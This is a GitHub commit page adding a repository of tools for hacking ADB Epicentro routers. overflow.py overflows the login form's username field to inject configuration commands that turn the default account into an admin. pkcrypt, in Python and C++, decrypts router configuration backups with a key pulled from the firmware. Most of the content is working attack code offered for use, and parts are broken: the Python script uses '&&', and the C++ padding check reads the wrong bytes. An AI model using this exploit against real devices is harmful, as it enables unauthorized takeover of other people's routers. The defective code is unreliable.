forked from Yepoleb/adbtools
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit ad8415d
Showing
7 changed files
with
337 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2017 Gabriel Huber | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
# ADB Tools | ||
|
||
Tools for hacking ADB Epicentro routers. Python dependencies can be installed | ||
using `pip3 install -r requirements.txt`. No Python 2 support. Do not replicate | ||
any of the cryptographic practices shown here as they are all completely | ||
braindead unless marked otherwise. | ||
|
||
## overflow.py | ||
|
||
Uses a buffer overflow in the login page to make the default user admin. Takes | ||
the login page as an argument. Credit to Alain Mowat (@plopz0r) for the | ||
exploit. Was patched in October 2015. | ||
|
||
Example: | ||
|
||
python3 overflow.py 'http://10.0.0.138/ui/login' | ||
|
||
## pkcrypt | ||
|
||
Tool used for encrypting the config backups from the webinterface. Uses an RSA | ||
public key for AES encryption. Sounds really stupid at first, but gets even | ||
worse when you look at how they implemented it. Has a Python and C++ version | ||
that both do exactly the same. Only works with configs created with version | ||
E_3.4.0 or later (May 2017) as older ones tried to use asymmetric encryption | ||
without a private key, which makes the configs impossible to decrypt, even for | ||
the devices themselves. Key can be found at `/etc/certs/download.pem` in the | ||
firmware image. | ||
|
||
Example: | ||
|
||
python3 pkcrypt.py sym_decrypt download.pem config.bin config.xml | ||
|
||
Compiling the C++ version (not necessary if you use the Python version): | ||
|
||
g++ pkcrypt.cpp -lcryptopp -o pkcrypt | ||
|
||
## YAPL file structure | ||
|
||
Yapl files are used as the CGI templates. This is just documentation that I | ||
didn't know where else to put. | ||
|
||
0x00 - 0x03: Header "Yapl" | ||
0x04 - 0x07: Padding | ||
0x08 - 0x0B: Number of strings | ||
0x0C - 0x0F: Padding | ||
0x10 - ....: Zero separated strings | ||
.... - ....: Instructions that somehow reference the strings |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
-----BEGIN RSA PUBLIC KEY----- | ||
MIIBCgKCAQEAshKBazc3QjWgbXNEqViXTJ8u1HZJVvnR2WxKjVR9g0bKvbgewjEg | ||
H3L1rIUden+FEKf0Mv2cxLBOp5EFpT+bh2xOqPOWpF1q151d4uFtCL51V7PQOq9B | ||
Z1pKxDBYHMhIsRhdDKqhMoSf0r8jgGPT/swU0+oab/HxECZjDoWmCfvkyKVGqUjx | ||
tfl59otoVChtndJQfU4ccbCu6hjAW4tThOPXppKSNTtMr8ep0e4SKyHEQ74vUQHz | ||
qp3oaqgdm8nbGyhMfum9fGj0b5jD2bFmJ4GScVqVqqFWrC35pvniNy0DLec0u13C | ||
c4JG/CnBosN25GZIUJAk5MqTp8m/nK+rNQIDAQAB | ||
-----END RSA PUBLIC KEY----- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
#!/usr/bin/env python3 | ||
|
||
import hmac | ||
import sys | ||
|
||
import requests # requires requests | ||
import passlib.hash # requires passlib | ||
from bs4 import BeautifulSoup # requires beautifulsoup4 | ||
|
||
|
||
|
||
def do_login(session, login_url, username, password): | ||
""" | ||
Logs into an ADB Epicentro webinterface. May need some modification to | ||
make it work with your model. Tested with A1 firmware E_3.0.11. | ||
""" | ||
# Request the login page to get the nonce and code1-7 | ||
login_page = session.get(login_url).text | ||
soup = BeautifulSoup(login_page, "html.parser") | ||
|
||
params = { | ||
"userName": username, | ||
"login": "Login", | ||
"language": "DE" | ||
} | ||
|
||
pwd_enc = password.encode("utf-8") | ||
|
||
nonce = soup.find("input", attrs={"name": "nonce"})["value"] | ||
nonce_enc = nonce.encode("ascii") | ||
params["nonce"] = nonce | ||
|
||
# Generate the password hmac. The only sane use of crypto in this entire | ||
# file. | ||
userpwd_hmac = hmac.new(key=nonce_enc, msg=pwd_enc, digestmod="sha256") | ||
params["userPwd"] = userpwd_hmac.hexdigest() | ||
|
||
# What's the point of all of this? | ||
for code_num in range(1, 8): | ||
code_name = "code{}".format(code_num) | ||
code_val = soup.find("input", attrs={"name": code_name})["value"] | ||
# Codes can be longer than 8 characters, but the hash function does not | ||
# support them. This is an implementation bug in the webinterface. | ||
salt = code_val[:8] | ||
md5_crypt = passlib.hash.md5_crypt.using(salt=salt) | ||
pwd_md5 = md5_crypt.hash(pwd_enc).encode("ascii") | ||
code_hmac = hmac.new(key=nonce_enc, msg=pwd_md5, digestmod="sha256") | ||
code_digest = code_hmac.hexdigest() | ||
params[code_name] = code_digest | ||
|
||
resp = session.post(login_url, data=params, allow_redirects=False) | ||
return resp | ||
|
||
def inject(login_url, command): | ||
""" | ||
Inject cmclient command using login page. Doesn't tell if it succeeded. | ||
Exploit discovered by Alain Mowat (@plopz0r) and shown in a talk titled | ||
"Reverse engineering Swisscom's Centro Grande modems". | ||
Slides: https://download.scrt.ch/cybsec16/chlam2308161-1_cybsec_swisscom.pdf | ||
""" | ||
session = requests.Session() | ||
username = 16006 * 'a' + command + '\n' | ||
password = "" | ||
resp = do_login(session, login_url, username, password) | ||
resp.raise_for_status() | ||
|
||
def to_admin(login_url): | ||
""" | ||
Makes the default account admin. | ||
""" | ||
inject(login_url, "SET Users.User.1.X_ADB_Role AdminUser") | ||
inject(login_url, "SET Users.User.1.X_ADB_CLIAccessCapable true") | ||
|
||
def to_normal(login_url): | ||
""" | ||
Makes the default account a regular user. | ||
""" | ||
inject(login_url, "SET Users.User.1.X_ADB_Role NormalUser") | ||
inject(login_url, "SET Users.User.1.X_ADB_CLIAccessCapable false") | ||
|
||
if __name__ == "__main__": | ||
if len(sys.argv) < 2: | ||
print("Usage: {} <login url>") | ||
print("Example: {} 'http://10.0.0.138/ui/login'") | ||
exit(1) | ||
|
||
login_url = sys.argv[1] | ||
to_admin(login_url) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
#include <iostream> | ||
#include <fstream> | ||
#include <string> | ||
#include <vector> | ||
#include <cstddef> | ||
|
||
// Link with cryptopp | ||
#include "cryptopp/aes.h" | ||
#include "cryptopp/modes.h" | ||
|
||
|
||
const int BLOCKSIZE = CryptoPP::AES::BLOCKSIZE; | ||
// All zero IV | ||
const byte IV[BLOCKSIZE] = {0x00}; | ||
|
||
int read_file(const std::string& filename, std::vector<char>& data) | ||
{ | ||
std::ifstream stream(filename, std::ios::in | std::ios::binary | std::ios::ate); | ||
if (!stream.is_open()) { | ||
return 1; | ||
} | ||
std::size_t file_size(stream.tellg()); | ||
stream.seekg(0); | ||
data.resize(file_size); | ||
stream.read(data.data(), file_size); | ||
return 0; | ||
} | ||
|
||
int write_file(const std::string& filename, const std::vector<char>& data) | ||
{ | ||
std::ofstream stream(filename, std::ios::out | std::ios::binary); | ||
if (!stream.is_open()) { | ||
return 1; | ||
} | ||
stream.write(data.data(), data.size()); | ||
return 0; | ||
} | ||
|
||
int main(int argc, char **argv) | ||
{ | ||
if (argc < 5) { | ||
std::cerr << "Usage: pkcrypt sym_encrypt|sym_decrypt <key> <in> <out>\n"; | ||
return 1; | ||
} | ||
|
||
std::string mode(argv[1]); | ||
if ((mode != "sym_encrypt") && (mode != "sym_decrypt")) { | ||
std::cerr << "Error: First argument must be sym_encrypt or sym_decrypt.\n"; | ||
return 1; | ||
} | ||
|
||
const char* key_filename(argv[2]); | ||
const char* in_filename(argv[3]); | ||
const char* out_filename(argv[4]); | ||
|
||
std::vector<char> pem_data; | ||
if (read_file(key_filename, pem_data)) { | ||
std::cerr << "Error: Failed to read key file\n"; | ||
return 1; | ||
} | ||
if (pem_data.empty()) { | ||
std::cerr << "Error: PEM file is empty\n"; | ||
return 1; | ||
} | ||
|
||
std::vector<char> in_data; | ||
if (read_file(in_filename, in_data)) { | ||
std::cerr << "Error: Failed to read input file\n"; | ||
return 1; | ||
} | ||
if (in_data.empty()) { | ||
std::cerr << "Error: Input file is empty\n"; | ||
return 1; | ||
} | ||
|
||
std::vector<char> out_data(in_data.size()); | ||
|
||
const char* key = pem_data.data() + 32; | ||
|
||
if (mode == "sym_encrypt") { | ||
char padding_length = BLOCKSIZE - (in_data.size() % BLOCKSIZE); | ||
if (padding_length != BLOCKSIZE) { | ||
in_data.resize(in_data.size() + padding_length, padding_length); | ||
} | ||
CryptoPP::CBC_Mode<CryptoPP::AES>::Encryption cipher; | ||
cipher.SetKeyWithIV((const byte*)key, 16, IV); | ||
cipher.ProcessData( | ||
(byte*)out_data.data(), (const byte*)in_data.data(), in_data.size() | ||
); | ||
} else { | ||
CryptoPP::CBC_Mode<CryptoPP::AES>::Decryption cipher; | ||
cipher.SetKeyWithIV((const byte*)key, 16, IV); | ||
cipher.ProcessData( | ||
(byte*)out_data.data(), (const byte*)in_data.data(), in_data.size() | ||
); | ||
char padding_length = out_data.back(); | ||
if ((padding_length < BLOCKSIZE) && (padding_length < out_data.size())) { | ||
bool padding_valid = true; | ||
for (int i = 0; i < padding_length; i++) { | ||
if (out_data[i] != padding_length) { | ||
padding_valid = false; | ||
break; | ||
} | ||
} | ||
if (padding_valid) { | ||
out_data.resize(out_data.size() - padding_length); | ||
} | ||
} | ||
} | ||
|
||
if (write_file(out_filename, out_data)) { | ||
std::cerr << "Error: Failed to write output file\n"; | ||
return 1; | ||
} | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
#!/usr/bin/env python3 | ||
|
||
import sys | ||
from Crypto.Cipher import AES # requires pycrypto | ||
|
||
if len(sys.argv) < 5: | ||
print("Usage: pkcrypt.py sym_encrypt|sym_decrypt <key> <in> <out>") | ||
exit(1) | ||
|
||
task = sys.argv[1] | ||
if task not in ("sym_encrypt", "sym_decrypt"): | ||
print("Error: First argument must be sym_encrypt or sym_decrypt.") | ||
exit(1) | ||
|
||
key_filename = sys.argv[2] | ||
in_filename = sys.argv[3] | ||
out_filename = sys.argv[4] | ||
|
||
with open(key_filename, "rb") as f: | ||
pem_data = f.read() | ||
with open(in_filename, "rb") as f: | ||
data_in = f.read() | ||
|
||
# Going for the popular choice... | ||
IV = b"\x00" * AES.block_size | ||
|
||
# Just take a random chunk out of the file and use it as our key | ||
key = pem_data[0x20:0x30] | ||
cipher = AES.new(key, AES.MODE_CBC, IV) | ||
|
||
if task == "sym_encrypt": | ||
padding_length = AES.block_size - (len(data_in) % AES.block_size) | ||
if padding_length != AES.block_size: | ||
padding_byte = padding_length.to_bytes(1, "big") | ||
data_in += padding_byte * padding_length | ||
data_out = cipher.encrypt(data_in) | ||
elif task == "sym_decrypt": | ||
data_out = cipher.decrypt(data_in) | ||
# Padding is a badly implemented PKCS#7 where 16 bytes padding is ignored, | ||
# so we have to check all previous bytes to see if it is valid. | ||
padding_length = data_out[-1] | ||
if (padding_length < AES.block_size) && (padding_length < len(data_out)): | ||
for i in range(0, padding_length): | ||
if data_out[-1 - i] != padding_length: | ||
break | ||
else: | ||
data_out = data_out[:-padding_length] | ||
else: | ||
raise NotImplementedError("Operation not supported") | ||
|
||
with open(out_filename, "wb") as f: | ||
f.write(data_out) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
pycrypto | ||
requests | ||
passlib | ||
beautifulsoup4 |